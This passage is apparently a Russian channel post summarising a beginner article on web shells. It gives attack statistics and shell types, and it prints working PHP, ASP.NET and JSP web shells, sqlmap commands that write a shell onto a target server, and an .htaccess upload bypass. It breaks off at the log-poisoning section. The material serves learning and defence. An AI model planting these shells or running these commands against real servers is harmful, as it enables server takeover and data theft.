4просмотров
10.0%от подписчиков
28 марта 2026 г.
Score: 4
Отличная тема для новичков! Веб-шеллы — это та самая "входная дверь", которую хакеры оставляют после взлома. В этом посте разберем, как они устроены, как их заливают и как логи сервера сами превращаются в шелл. Всё с реальными примерами кода. https://xakep.ru/2026/03/03/webshells-for-begginers/ --- 🐚 Веб-шеллы с самого начала. Как серверы захватывают через веб-приложение Сегодня я расскажу о том, что такое веб‑шеллы и как их пишут. Посмотрим, как при атаках заливают шелл на сервер, получив RCE через другие уязвимости. Также посмотрим, как логи сервера могут превратиться в веб‑шелл, выполняющий любую команду . 🤔 Что такое веб-шелл? Веб-шелл (web shell) — это командная оболочка для удаленного управления веб-сервером. По сути, это скрипт (на PHP, ASP, JSP и т.д.), который загружают на взломанный сервер, чтобы выполнять команды через браузер . Одна из самых известных веб-оболочек называется China Chopper. Её до сих пор находят на скомпрометированных серверах по всему миру . Зачем хакеры ставят веб-шеллы?
- Кража данных
- Дефейс сайтов
- Объединение серверов в ботнет для DDoS-атак
- Дальнейшее проникновение во внутреннюю сеть
- Заражение посетителей сайта (watering hole) 📊 Масштабы проблемы По данным Bi.Zone, в первом полугодии 2025 года веб-шеллы обнаружили в системах 26% российских компаний. А доля зараженных внешних веб-ресурсов выросла с 12% в 2024-м до 53% в 2025-м . Особенно "везучие" отрасли — туризм (38%) и IT (35%). Андрей Шаляпин из Bi.Zone отмечает: почти 73% веб-шеллов попадают на серверы еще до запуска — когда разработчики выставляют тестовые среды в открытый доступ без защиты . 💻 Простейший веб-шелл на PHP Вот минимальный рабочий пример. Сохраняем как shell.php: <?php system($_GET['cmd']); ?> После загрузки на сервер обращаемся:
http://target.com/shell.php?cmd=ls
Сервер выполнит ls и вернет список файлов . Чуть более продвинутый вариант с форматированием вывода: <?php
if(isset($_REQUEST['cmd'])) { echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}
?>
Здесь результат команды выводится в читаемом виде с сохранением форматирования . 🔌 Веб-шеллы на других языках Для ASP.NET:
<% If Request("cmd") <> "" Then Set objShell = CreateObject("WScript.Shell") Set objExec = objShell.Exec(Request("cmd")) Response.Write(objExec.StdOut.ReadAll())
End If %>
Доступ через http://target.com/shell.asp?cmd=dir . Для JSP:
<%= Runtime.getRuntime().exec(request.getParameter("cmd")) %>
Но этот вариант сложнее — нужно обрабатывать потоки ввода-вывода . 🎯 Типы веб-шеллов по способу связи 1. Bind shell («прямая оболочка») - Шелл на сервере открывает порт и ждет подключения хакера - Нужно знать IP сервера - Часто блокируется фаерволом 2. Reverse shell («обратная оболочка») - Сервер сам подключается к машине хакера - Обходит NAT и входящие блокировки - Самый популярный вариант 3. Double reverse shell - Два параллельных канала: один для ввода, другой для вывода - Сложнее детектится 📁 Как веб-шеллы попадают на сервер Через SQL-инъекцию (sqlmap)
Если у базы данных есть права на запись, можно залить шелл прямо через SQL-инъекцию. Проверяем права:
sqlmap -u "http://target.com/page.php?id=1" --is-dba
Если пользователь — администратор БД (DBA), ищем директорию для записи. Пробуем /tmp:
sqlmap -u "http://target.com/page.php?id=1" --file-write=shell.php --file-dest=/var/www/html/shell.php
После успеха шелл доступен по http://target.com/shell.php . Через загрузку файлов (File Upload)
Если сайт позволяет загружать картинки, но плохо проверяет тип, можно загрузить shell.php с фейковым MIME-типом image/jpeg . Если PHP запрещен по расширению, хитрый трюк для Apache — загрузить .htaccess с содержимым:
AddType application/x-httpd-php .jpg
Теперь любой JPG в этой папке будет выполняться как PHP. Загружаем shell.jpg с кодом <?php system($_GET['cmd']); ?> — получаем рабочий шелл . Через Local File Inclusion (LFI) + Log Poisoning Это отдел